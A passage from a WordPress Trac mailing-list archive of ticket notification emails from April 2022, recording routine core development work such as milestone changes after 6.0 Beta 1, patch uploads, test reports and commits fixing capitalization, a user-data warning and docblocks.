<071.1814fd95d3c4c4cc663ed95bba2bb339@wordpress.org> #54572: Add a function for updating the existing role instead of removing, then adding one -------------------------------------------------+------------------------- Reporter: maksimkuzmin | Owner: (none) Type: enhancement | Status: reviewing Priority: normal | Milestone: 6.1 Component: Role/Capability | Version: Severity: normal | Resolution: Keywords: has-patch has-unit-tests needs- | Focuses: refresh | performance -------------------------------------------------+------------------------- Changes (by costdev): * milestone: 6.0 => 6.1 Comment: As 6.0 Beta 1 was released on Tuesday, I'm moving this ticket to the 6.1 milestone. I have also sent some suggested changes to Peter to help move this forward so that it might be committed early in the 6.1 cycle. -- Ticket URL: <https://core.trac.wordpress.org/ticket/54572#comment:14> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 15 11:08:36 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 15 Apr 2022 11:08:36 -0000 Subject: [wp-trac] [WordPress Trac] #55405: i18n: Use a placeholder instead of 'Template' in a message in WP_Theme::__construct() In-Reply-To: <058.95e80cfc4ea27e9f1dfb77507082860b@wordpress.org> References: <058.95e80cfc4ea27e9f1dfb77507082860b@wordpress.org> Message-ID: <073.46e06315300425e4d80ff5d62597bf9c@wordpress.org> #55405: i18n: Use a placeholder instead of 'Template' in a message in WP_Theme::__construct() --------------------------------------+----------------------------- Reporter: SergeyBiryukov | Owner: SergeyBiryukov Type: defect (bug) | Status: accepted Priority: normal | Milestone: 6.0 Component: Themes | Version: Severity: normal | Resolution: Keywords: good-first-bug has-patch | Focuses: --------------------------------------+----------------------------- Changes (by SergeyBiryukov): * Attachment "55405.2.diff" added. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55405> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 15 11:10:57 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 15 Apr 2022 11:10:57 -0000 Subject: [wp-trac] [WordPress Trac] #55405: i18n: Use a placeholder instead of 'Template' in a message in WP_Theme::__construct() In-Reply-To: <058.95e80cfc4ea27e9f1dfb77507082860b@wordpress.org> References: <058.95e80cfc4ea27e9f1dfb77507082860b@wordpress.org> Message-ID: <073.fdee380fa15ce970737ff12b073be1a9@wordpress.org> #55405: i18n: Use a placeholder instead of 'Template' in a message in WP_Theme::__construct() --------------------------------------+----------------------------- Reporter: SergeyBiryukov | Owner: SergeyBiryukov Type: defect (bug) | Status: accepted Priority: normal | Milestone: 6.0 Component: Themes | Version: Severity: normal | Resolution: Keywords: good-first-bug has-patch | Focuses: --------------------------------------+----------------------------- Comment (by SergeyBiryukov): Thanks for the refresh! It looks like [attachment:"55405.diff"] is still not quite correct, as it changes the first sentence instead of the one mentioned in comment:3. [attachment:"55405.2.diff"] is what I meant here :) -- Ticket URL: <https://core.trac.wordpress.org/ticket/55405#comment:5> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 15 11:14:25 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 15 Apr 2022 11:14:25 -0000 Subject: [wp-trac] [WordPress Trac] #54874: [New User Notification] Allow conditional mail supression In-Reply-To: <052.e0be7ba4869bf898a8feced6a81fbc73@wordpress.org> References: <052.e0be7ba4869bf898a8feced6a81fbc73@wordpress.org> Message-ID: <067.27abeb266d0409e4f2c0cdfab5184adb@wordpress.org> #54874: [New User Notification] Allow conditional mail supression -----------------------------------------------------+--------------------- Reporter: janthiel | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: 6.1 Component: Users | Version: Severity: normal | Resolution: Keywords: has-patch needs-dev-note has-unit-tests | Focuses: -----------------------------------------------------+--------------------- Changes (by costdev): * keywords: has-patch needs-dev-note 2nd-opinion has-unit-tests => has- patch needs-dev-note has-unit-tests * type: feature request => enhancement * milestone: 6.0 => 6.1 Comment: I think this is pretty much ready for commit. However, with 6.0 Beta 1 released on Tuesday, I'm moving this to the 6.1 milestone. -- Ticket URL: <https://core.trac.wordpress.org/ticket/54874#comment:10> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 15 11:26:41 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 15 Apr 2022 11:26:41 -0000 Subject: [wp-trac] [WordPress Trac] #47018: No error message provided upon incomplete input in Tags Administration Screen In-Reply-To: <053.f1bf88ff1edccbddf10be7d2b29a23ca@wordpress.org> References: <053.f1bf88ff1edccbddf10be7d2b29a23ca@wordpress.org> Message-ID: <068.394c02b2b5d2ab8197ebfb9d0aead01b@wordpress.org> #47018: No error message provided upon incomplete input in Tags Administration Screen -------------------------------------+------------------------------------- Reporter: conner_bw | Owner: peterwilsoncc Type: enhancement | Status: closed Priority: normal | Milestone: 6.0 Component: Taxonomy | Version: 5.1.1 Severity: normal | Resolution: fixed Keywords: has-screenshots input- | Focuses: ui, accessibility, validation | javascript, administration -------------------------------------+------------------------------------- Changes (by costdev): * status: reopened => closed * resolution: => fixed Comment: Most of the remaining items related to this ticket have been separated to other tickets: - For the CSS change, see #55541. - For the dependency, see #55544. However, there is still a possible outstanding change which would implement `trim()` on the term name. With 6.0 Beta 1 released on Tuesday, we are now past Feature Freeze for the 6.0 cycle. The implementation of `trim()` should be separated out to a related `bug (defect)` ticket to stay in line with Core's release process. I'll close out this ticket as ''fixed''. -- Ticket URL: <https://core.trac.wordpress.org/ticket/47018#comment:33> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 15 11:28:39 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 15 Apr 2022 11:28:39 -0000 Subject: [wp-trac] [WordPress Trac] #53232: Add async decoding attribute as default to the HTML image tags generated by WordPress In-Reply-To: <051.c820b018dadf1a41d3bccedf28725bf1@wordpress.org> References: <051.c820b018dadf1a41d3bccedf28725bf1@wordpress.org> Message-ID: <066.9a3096e13935e55f1ca9116ab0dff243@wordpress.org> #53232: Add async decoding attribute as default to the HTML image tags generated by WordPress -------------------------------------------------+------------------------- Reporter: isaumya | Owner: | adamsilverstein Type: feature request | Status: assigned Priority: normal | Milestone: 6.1 Component: Media | Version: Severity: normal | Resolution: Keywords: has-patch has-unit-tests needs- | Focuses: refresh | performance -------------------------------------------------+------------------------- Changes (by costdev): * milestone: 6.0 => 6.1 Comment: With 6.0 Beta 1 released on Tuesday, we are now past Feature Freeze for the 6.0 cycle. Moving this ticket to the 6.1 milestone. -- Ticket URL: <https://core.trac.wordpress.org/ticket/53232#comment:60> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 15 11:32:21 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 15 Apr 2022 11:32:21 -0000 Subject: [wp-trac] [WordPress Trac] #54541: Add actions to template loading to assist with collecting debug info In-Reply-To: <050.81a746532009d81ed322112d3f906dbf@wordpress.org> References: <050.81a746532009d81ed322112d3f906dbf@wordpress.org> Message-ID: <065.2ee5313f59fde7d0e7f064bc35715c70@wordpress.org> #54541: Add actions to template loading to assist with collecting debug info -------------------------------------------------+------------------------- Reporter: rmccue | Owner: | johnbillion Type: enhancement | Status: reviewing Priority: normal | Milestone: 6.1 Component: Themes | Version: Severity: normal | Resolution: Keywords: has-patch needs-unit-tests needs- | Focuses: dev-note | performance -------------------------------------------------+------------------------- Changes (by costdev): * keywords: has-patch => has-patch needs-unit-tests needs-dev-note * milestone: 6.0 => 6.1 Comment: With 6.0 Beta 1 released on Tuesday, we are now past Feature Freeze for the 6.0 cycle. Moving to the 6.1 milestone. - This ticket should have unit tests accompanying it. Adding `needs-unit- tests`. - This ticket should be included in a dev note to alert extenders to the new action hooks. Adding `needs-dev-note`. -- Ticket URL: <https://core.trac.wordpress.org/ticket/54541#comment:3> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 15 11:51:15 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 15 Apr 2022 11:51:15 -0000 Subject: [wp-trac] [WordPress Trac] #55358: Passing int term term_exists parent param not respected In-Reply-To: <056.053df80178f2a2e14c198dd898dde7a0@wordpress.org> References: <056.053df80178f2a2e14c198dd898dde7a0@wordpress.org> Message-ID: <071.f4d4dee42cf3e0bc02771a0f932f3807@wordpress.org> #55358: Passing int term term_exists parent param not respected -------------------------------------------------+------------------------- Reporter: spacedmonkey | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting | Review Component: Taxonomy | Version: Severity: normal | Resolution: Keywords: needs-patch needs-unit-tests good- | Focuses: first-bug | -------------------------------------------------+------------------------- Changes (by lgadzhev): * Attachment "55358.patch" added. Adding $parent to the query when $term is used as an int -- Ticket URL: <https://core.trac.wordpress.org/ticket/55358> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 15 11:57:14 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 15 Apr 2022 11:57:14 -0000 Subject: [wp-trac] [WordPress Trac] #53028: Inconsistent Capitalisation In-Reply-To: <053.7a5028a140f27c5b08b94d28a92fcac2@wordpress.org> References: <053.7a5028a140f27c5b08b94d28a92fcac2@wordpress.org> Message-ID: <068.310e0383e089b129617352c7eaf238b3@wordpress.org> #53028: Inconsistent Capitalisation -------------------------------------------------+------------------------- Reporter: Presskopp | Owner: audrasjb Type: defect (bug) | Status: closed Priority: normal | Milestone: 6.0 Component: Text Changes | Version: Severity: normal | Resolution: fixed Keywords: good-first-bug has-patch commit | Focuses: ui-copy assigned-for-commit | -------------------------------------------------+------------------------- Changes (by audrasjb): * status: accepted => closed * resolution: => fixed Comment: In [changeset:"53186" 53186]: {{{ #!CommitTicketReference repository="" revision="53186" Text Changes: Fix various inconsistent capitalization issues. Props Presskopp, arpitgshah, mukesh27, desrosj, audrasjb, marybaum. Fixes #53028. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/53028#comment:18> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 15 11:58:23 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 15 Apr 2022 11:58:23 -0000 Subject: [wp-trac] [WordPress Trac] #55358: Passing int term term_exists parent param not respected In-Reply-To: <056.053df80178f2a2e14c198dd898dde7a0@wordpress.org> References: <056.053df80178f2a2e14c198dd898dde7a0@wordpress.org> Message-ID: <071.82c2cfc632585ac0d2ef54ae27f2297e@wordpress.org> #55358: Passing int term term_exists parent param not respected -------------------------------------------------+------------------------- Reporter: spacedmonkey | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting | Review Component: Taxonomy | Version: Severity: normal | Resolution: Keywords: needs-patch needs-unit-tests good- | Focuses: first-bug | -------------------------------------------------+------------------------- Changes (by lgadzhev): * Attachment "55358.1.patch" added. An optimized version that avoids duplicate code -- Ticket URL: <https://core.trac.wordpress.org/ticket/55358> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 15 12:00:51 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 15 Apr 2022 12:00:51 -0000 Subject: [wp-trac] [WordPress Trac] #55358: Passing int term term_exists parent param not respected In-Reply-To: <056.053df80178f2a2e14c198dd898dde7a0@wordpress.org> References: <056.053df80178f2a2e14c198dd898dde7a0@wordpress.org> Message-ID: <071.17313a2a1f94c57a663a200ca07bf5db@wordpress.org> #55358: Passing int term term_exists parent param not respected --------------------------------------+------------------------------ Reporter: spacedmonkey | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: Taxonomy | Version: Severity: normal | Resolution: Keywords: good-first-bug has-patch | Focuses: --------------------------------------+------------------------------ Changes (by lgadzhev): * keywords: needs-patch needs-unit-tests good-first-bug => good-first-bug has-patch Comment: Hey, I've added a patch for that. Now it is going to include $parent in the query even when $term is int -- Ticket URL: <https://core.trac.wordpress.org/ticket/55358#comment:2> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 15 12:19:56 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 15 Apr 2022 12:19:56 -0000 Subject: [wp-trac] [WordPress Trac] #55420: Warning thrown by method get_the_modified_author if author was removed In-Reply-To: <057.5250e72891a355c33e2e698948be4843@wordpress.org> References: <057.5250e72891a355c33e2e698948be4843@wordpress.org> Message-ID: <072.9ffa877189edc33e090aa1d9628722b1@wordpress.org> #55420: Warning thrown by method get_the_modified_author if author was removed ---------------------------+----------------------------- Reporter: juanlopez4691 | Owner: audrasjb Type: defect (bug) | Status: reviewing Priority: normal | Milestone: 6.0 Component: Users | Version: Severity: normal | Resolution: Keywords: has-patch | Focuses: administration ---------------------------+----------------------------- Changes (by audrasjb): * owner: (none) => audrasjb * status: new => reviewing Comment: The above PR looks good to me. Self assigning for review. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55420#comment:7> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 15 12:42:18 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 15 Apr 2022 12:42:18 -0000 Subject: [wp-trac] [WordPress Trac] #54799: Active buttons Bulk select are confusing while menu is empty In-Reply-To: <052.5191d271cd098d2d0b37a112b9c75aa8@wordpress.org> References: <052.5191d271cd098d2d0b37a112b9c75aa8@wordpress.org> Message-ID: <067.ddcf3f90784ade5b8c75c52289415a5a@wordpress.org> #54799: Active buttons Bulk select are confusing while menu is empty -------------------------------------------------+------------------------- Reporter: oglekler | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: Menus | Version: 5.8 Severity: normal | Resolution: Keywords: has-patch needs-testing has- | Focuses: ui, testing-info | administration -------------------------------------------------+------------------------- Comment (by costdev): @Boniu91 Thanks for testing! These should be covered, and I'll try to get the patch refreshed soon. -- Ticket URL: <https://core.trac.wordpress.org/ticket/54799#comment:8> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 15 12:50:52 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 15 Apr 2022 12:50:52 -0000 Subject: [wp-trac] [WordPress Trac] #54188: Different theme screenshot sizes are displayed in the customizer preview In-Reply-To: <049.1b0f361e8b6821157b6f7ccf636e2184@wordpress.org> References: <049.1b0f361e8b6821157b6f7ccf636e2184@wordpress.org> Message-ID: <064.512e23e407c04199bc8bec52e122d0c3@wordpress.org> #54188: Different theme screenshot sizes are displayed in the customizer preview -------------------------------------------------+------------------------- Reporter: poena | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: Themes | Version: Severity: normal | Resolution: Keywords: has-patch needs-testing has- | Focuses: testing-info | -------------------------------------------------+------------------------- Changes (by costdev): * Attachment "54188.2.diff" added. Patch refreshed against trunk. -- Ticket URL: <https://core.trac.wordpress.org/ticket/54188> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 15 12:54:22 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 15 Apr 2022 12:54:22 -0000 Subject: [wp-trac] [WordPress Trac] #54188: Different theme screenshot sizes are displayed in the customizer preview In-Reply-To: <049.1b0f361e8b6821157b6f7ccf636e2184@wordpress.org> References: <049.1b0f361e8b6821157b6f7ccf636e2184@wordpress.org> Message-ID: <064.63dcdf20d50c49faabf41dabc94481ea@wordpress.org> #54188: Different theme screenshot sizes are displayed in the customizer preview -----------------------------------------------+--------------------- Reporter: poena | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: Themes | Version: 3.9 Severity: normal | Resolution: Keywords: has-patch has-testing-info commit | Focuses: -----------------------------------------------+--------------------- Changes (by costdev): * keywords: has-patch needs-testing has-testing-info => has-patch has- testing-info commit * version: => 3.9 Comment: == Test Report === Environment * Server: Apache (Linux) * WordPress: 6.0-beta1-53167-src * Browser: Chrome 100.0.4896.88 * OS: Windows 10 * Theme: Twenty Twenty-One * Plugins: None activated === Steps 1. Navigate to `/wp-admin/theme-install.php?theme=twentytwenty`. Note the size of the screenshot 2. Navigate to `/wp-admin/theme-install.php?theme=c`. Notice that the screenshot is a different size. ✅ 3. Apply [https://core.trac.wordpress.org/attachment/ticket/54188/54188.2.diff 54188.2.diff]. 4. Repeat steps 1-2 (a hard refresh might be needed). Notice that the screenshots are now the same size. ✅ === Results 1. Issue reproduced. ✅ 2. [https://core.trac.wordpress.org/attachment/ticket/54188/54188.2.diff 54188.2.diff] resolves the issue. ✅ === Notes - Removing `needs-testing`. - Marking for `commit` consideration. -- Ticket URL: <https://core.trac.wordpress.org/ticket/54188#comment:11> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 15 13:12:21 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 15 Apr 2022 13:12:21 -0000 Subject: [wp-trac] [WordPress Trac] #48896: When enqueued wp-color-picker, toggle response of each widget panel is unresponsive on customizer. In-Reply-To: <051.6f343195bc4aeef07457275510316763@wordpress.org> References: <051.6f343195bc4aeef07457275510316763@wordpress.org> Message-ID: <066.e3106fce9176b8a6714280fbda05ffc6@wordpress.org> #48896: When enqueued wp-color-picker, toggle response of each widget panel is unresponsive on customizer. -------------------------------------------------+------------------------- Reporter: inc2734 | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: Customize | Version: Severity: normal | Resolution: Keywords: has-patch needs-testing has- | Focuses: testing-info | -------------------------------------------------+------------------------- Comment (by Boniu91): Working as expected. == Test Report === Env * WordPress 6.0-alpha-52448-src * Firefox 93 + DevTools (Galaxy S20 Linux) * Windows 10 * Theme: Astra * Plugin: Classic Widgets === Steps to test 1. Go to Customize - Widgets 2. Select sidebar with at least one widget 3. Double click/tap on the widget header 4. Widget is opened, there's no doubled action, etc. -- Ticket URL: <https://core.trac.wordpress.org/ticket/48896#comment:14> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 15 13:32:33 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 15 Apr 2022 13:32:33 -0000 Subject: [wp-trac] [WordPress Trac] #52976: user emails comparison should be case insensitive In-Reply-To: <050.7727b644129a97f4082fdf76cb8aa740@wordpress.org> References: <050.7727b644129a97f4082fdf76cb8aa740@wordpress.org> Message-ID: <065.64f58e5a46fc2ea2da6b8d7f765c26a9@wordpress.org> #52976: user emails comparison should be case insensitive --------------------------------------+------------------------------ Reporter: asaifm | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: Users | Version: 4.3 Severity: normal | Resolution: Keywords: good-first-bug has-patch | Focuses: --------------------------------------+------------------------------ Changes (by lgadzhev): * Attachment "52976.1.patch" added. Updating the patch because the old one wasn't compatible with the latest WP version -- Ticket URL: <https://core.trac.wordpress.org/ticket/52976> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 15 13:33:34 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 15 Apr 2022 13:33:34 -0000 Subject: [wp-trac] [WordPress Trac] #52976: user emails comparison should be case insensitive In-Reply-To: <050.7727b644129a97f4082fdf76cb8aa740@wordpress.org> References: <050.7727b644129a97f4082fdf76cb8aa740@wordpress.org> Message-ID: <065.b2ceeb8930eb3b69e3bc9d020a99248b@wordpress.org> #52976: user emails comparison should be case insensitive --------------------------------------+------------------------------ Reporter: asaifm | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: Users | Version: 4.3 Severity: normal | Resolution: Keywords: good-first-bug has-patch | Focuses: --------------------------------------+------------------------------ Comment (by lgadzhev): Hello, I've updated the initial patch because it wasn't compatible with the latest WP version -- Ticket URL: <https://core.trac.wordpress.org/ticket/52976#comment:7> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 15 13:45:41 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 15 Apr 2022 13:45:41 -0000 Subject: [wp-trac] [WordPress Trac] #55420: Warning thrown by method get_the_modified_author if author was removed In-Reply-To: <057.5250e72891a355c33e2e698948be4843@wordpress.org> References: <057.5250e72891a355c33e2e698948be4843@wordpress.org> Message-ID: <072.e6381195afa2986d7d861b3b44bc1122@wordpress.org> #55420: Warning thrown by method get_the_modified_author if author was removed ---------------------------+----------------------------- Reporter: juanlopez4691 | Owner: audrasjb Type: defect (bug) | Status: closed Priority: normal | Milestone: 6.0 Component: Users | Version: Severity: normal | Resolution: fixed Keywords: has-patch | Focuses: administration ---------------------------+----------------------------- Changes (by audrasjb): * status: reviewing => closed * resolution: => fixed Comment: In [changeset:"53187" 53187]: {{{ #!CommitTicketReference repository="" revision="53187" Users: Avoid warning on `the_modified_author` when `get_userdata()` returns `false`. This change adds a check of the value returned by `get_userdata()` before using it in `get_the_modified_author()`. It avoids a warning when retrieving the last author who edited the current post. Props juanlopez4691, mukesh27. Fixes #55420. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55420#comment:8> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 15 13:53:49 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 15 Apr 2022 13:53:49 -0000 Subject: [wp-trac] [WordPress Trac] #55420: Warning thrown by method get_the_modified_author if author was removed In-Reply-To: <057.5250e72891a355c33e2e698948be4843@wordpress.org> References: <057.5250e72891a355c33e2e698948be4843@wordpress.org> Message-ID: <072.88d2f74dacac3fd0336aae753278ac1d@wordpress.org> #55420: Warning thrown by method get_the_modified_author if author was removed ---------------------------+----------------------------- Reporter: juanlopez4691 | Owner: audrasjb Type: defect (bug) | Status: closed Priority: normal | Milestone: 6.0 Component: Users | Version: Severity: normal | Resolution: fixed Keywords: has-patch | Focuses: administration ---------------------------+----------------------------- Comment (by audrasjb): In [changeset:"53188" 53188]: {{{ #!CommitTicketReference repository="" revision="53188" Docs: Fix a docblock typo in `get_the_modified_author`. Follow-up to [53187]. See #55420. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55420#comment:9> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 15 14:22:37 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 15 Apr 2022 14:22:37 -0000 Subject: [wp-trac] =?utf-8?q?=5BWordPress_Trac=5D_=2355579=3A_Permanently?= =?utf-8?q?_disable_=E2=80=9CWelcome_to_the_block_editor=E2=80=9D?= In-Reply-To: <052.58e277c4a476c141ea27522817bfd494@wordpress.org> References: <052.58e277c4a476c141ea27522817bfd494@wordpress.org> Message-ID: <067.a0ada09e03dc7dfa4cbc34ec95243418@wordpress.org> #55579: Permanently disable “Welcome to the block editor” --------------------------+-------------------------------- Reporter: danskoya | Owner: (none) Type: defect (bug) | Status: closed Priority: normal | Milestone: Component: Editor | Version: Severity: normal | Resolution: reported-upstream Keywords: | Focuses: --------------------------+-------------------------------- Changes (by sabernhardt): * status: new => closed * resolution: => reported-upstream * component: General => Editor * milestone: Awaiting Review => Comment: Hi and thanks for the report! The main concern of the popup is discussed on the following issue, and there has been some recent progress toward saving preferences to the user account. https://github.com/WordPress/gutenberg/issues/15105 Moving/replacing the images coming from the s.w.org CDN can be discussed on this issue. https://github.com/WordPress/gutenberg/issues/22481 I'll close this ticket, but please join the discussion on either of those issues. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55579#comment:1> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 15 14:47:44 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 15 Apr 2022 14:47:44 -0000 Subject: [wp-trac] [WordPress Trac] #54483: On logout input fields have aria described login_error In-Reply-To: <056.5f153943b56f0aa9c5ef66da1cbf5e6b@wordpress.org> References: <056.5f153943b56f0aa9c5ef66da1cbf5e6b@wordpress.org> Message-ID: <071.ae60f744f4e4581fb773ddce882cc25d@wordpress.org> #54483: On logout input fields have aria described login_error -------------------------------------+-------------------------------- Reporter: patrickgroot | Owner: alexstine Type: defect (bug) | Status: accepted Priority: normal | Milestone: 6.1 Component: Login and Registration | Version: 5.8.2 Severity: trivial | Resolution: Keywords: has-patch needs-testing | Focuses: ui, accessibility -------------------------------------+-------------------------------- Changes (by sabernhardt): * keywords: has-patch => has-patch needs-testing -- Ticket URL: <https://core.trac.wordpress.org/ticket/54483#comment:11> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 15 15:12:25 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 15 Apr 2022 15:12:25 -0000 Subject: [wp-trac] [WordPress Trac] #54729: Docblock improvements for WP 6.0 In-Reply-To: <058.e97648b36f9e1c40d59d78da529f4b69@wordpress.org> References: <058.e97648b36f9e1c40d59d78da529f4b69@wordpress.org> Message-ID: <073.a9cf942db94b2038731949da84c4bcb8@wordpress.org> #54729: Docblock improvements for WP 6.0 ----------------------------+--------------------- Reporter: hellofromTonya | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: General | Version: Severity: normal | Resolution: Keywords: has-patch | Focuses: docs ----------------------------+--------------------- Comment (by audrasjb): In [changeset:"53189" 53189]: {{{ #!CommitTicketReference repository="" revision="53189" Docs: Use third-person singular verbs for function descriptions in `author-template.php`, as per documentation standards. See #54729. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/54729#comment:69> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 15 15:17:11 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 15 Apr 2022 15:17:11 -0000 Subject: [wp-trac] [WordPress Trac] #55555: List tables: edit Comments column header In-Reply-To: <055.d18872dbda329194fa7c3bca587101ec@wordpress.org> References: <055.d18872dbda329194fa7c3bca587101ec@wordpress.org> Message-ID: <070.b5f7f0ae28a54203cdf268cb2ffd4f90@wordpress.org> #55555: List tables: edit Comments column header ----------------------------+---------------------------- Reporter: sabernhardt | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: 6.1 Component: Administration | Version: Severity: normal | Resolution: Keywords: has-patch | Focuses: accessibility ----------------------------+---------------------------- Changes (by ryokuhi): * milestone: Awaiting Review => 6.1 Comment: We reviewed this ticket today during the Accessibility Team's weekly bug- scrub. We support the proposal and would like it to land in 6.1, so I'm milestoning it. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55555#comment:3> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 15 15:19:25 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 15 Apr 2022 15:19:25 -0000 Subject: [wp-trac] [WordPress Trac] #55555: List tables: edit Comments column header In-Reply-To: <055.d18872dbda329194fa7c3bca587101ec@wordpress.org> References: <055.d18872dbda329194fa7c3bca587101ec@wordpress.org> Message-ID: <070.97dfcd5cec2940d0cfa5376a79f69c3a@wordpress.org> #55555: List tables: edit Comments column header ----------------------------+---------------------------- Reporter: sabernhardt | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: 6.1 Component: Administration | Version: Severity: normal | Resolution: Keywords: has-patch | Focuses: accessibility ----------------------------+---------------------------- Changes (by SergeyBiryukov): * Attachment "55555.2.diff" added. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55555> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 15 15:19:53 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 15 Apr 2022 15:19:53 -0000 Subject: [wp-trac] [WordPress Trac] #55581: PENGINAPAN / KOST Message-ID: <059.6b4da3cc6e03cd1d493c7092af249d33@wordpress.org> #55581: PENGINAPAN / KOST -----------------------------+----------------------------- Reporter: faturhomestay72 | Owner: (none) Type: feature request | Status: new Priority: normal | Milestone: Awaiting Review Component: General | Version: Severity: normal | Keywords: Focuses: | -----------------------------+----------------------------- khusus wanita untuk gharian, mingguan atau bulanan -- Ticket URL: <https://core.trac.wordpress.org/ticket/55581> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 15 15:20:14 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 15 Apr 2022 15:20:14 -0000 Subject: [wp-trac] [WordPress Trac] #55555: List tables: edit Comments column header In-Reply-To: <055.d18872dbda329194fa7c3bca587101ec@wordpress.org> References: <055.d18872dbda329194fa7c3bca587101ec@wordpress.org> Message-ID: <070.89fb5e833b55ab0e13fc0e155ee54f7b@wordpress.org> #55555: List tables: edit Comments column header ----------------------------+---------------------------- Reporter: sabernhardt | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: 6.1 Component: Administration | Version: Severity: normal | Resolution: Keywords: has-patch | Focuses: accessibility ----------------------------+---------------------------- Comment (by SergeyBiryukov): Looks good to me. [attachment:"55555.2.diff"] is a minor iteration to make the formatting of both blocks consistent. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55555#comment:4> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 15 15:22:51 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 15 Apr 2022 15:22:51 -0000 Subject: [wp-trac] [WordPress Trac] #54983: The post has already been deleted. In-Reply-To: <054.b565d5fc304533066dbe4bca29195998@wordpress.org> References: <054.b565d5fc304533066dbe4bca29195998@wordpress.org> Message-ID: <069.d131e413fcb7239d9453f6872224dc3d@wordpress.org> #54983: The post has already been deleted. -------------------------------------------------+------------------------- Reporter: sumitsingh | Owner: (none) Type: defect (bug) | Status: new Priority: normal | 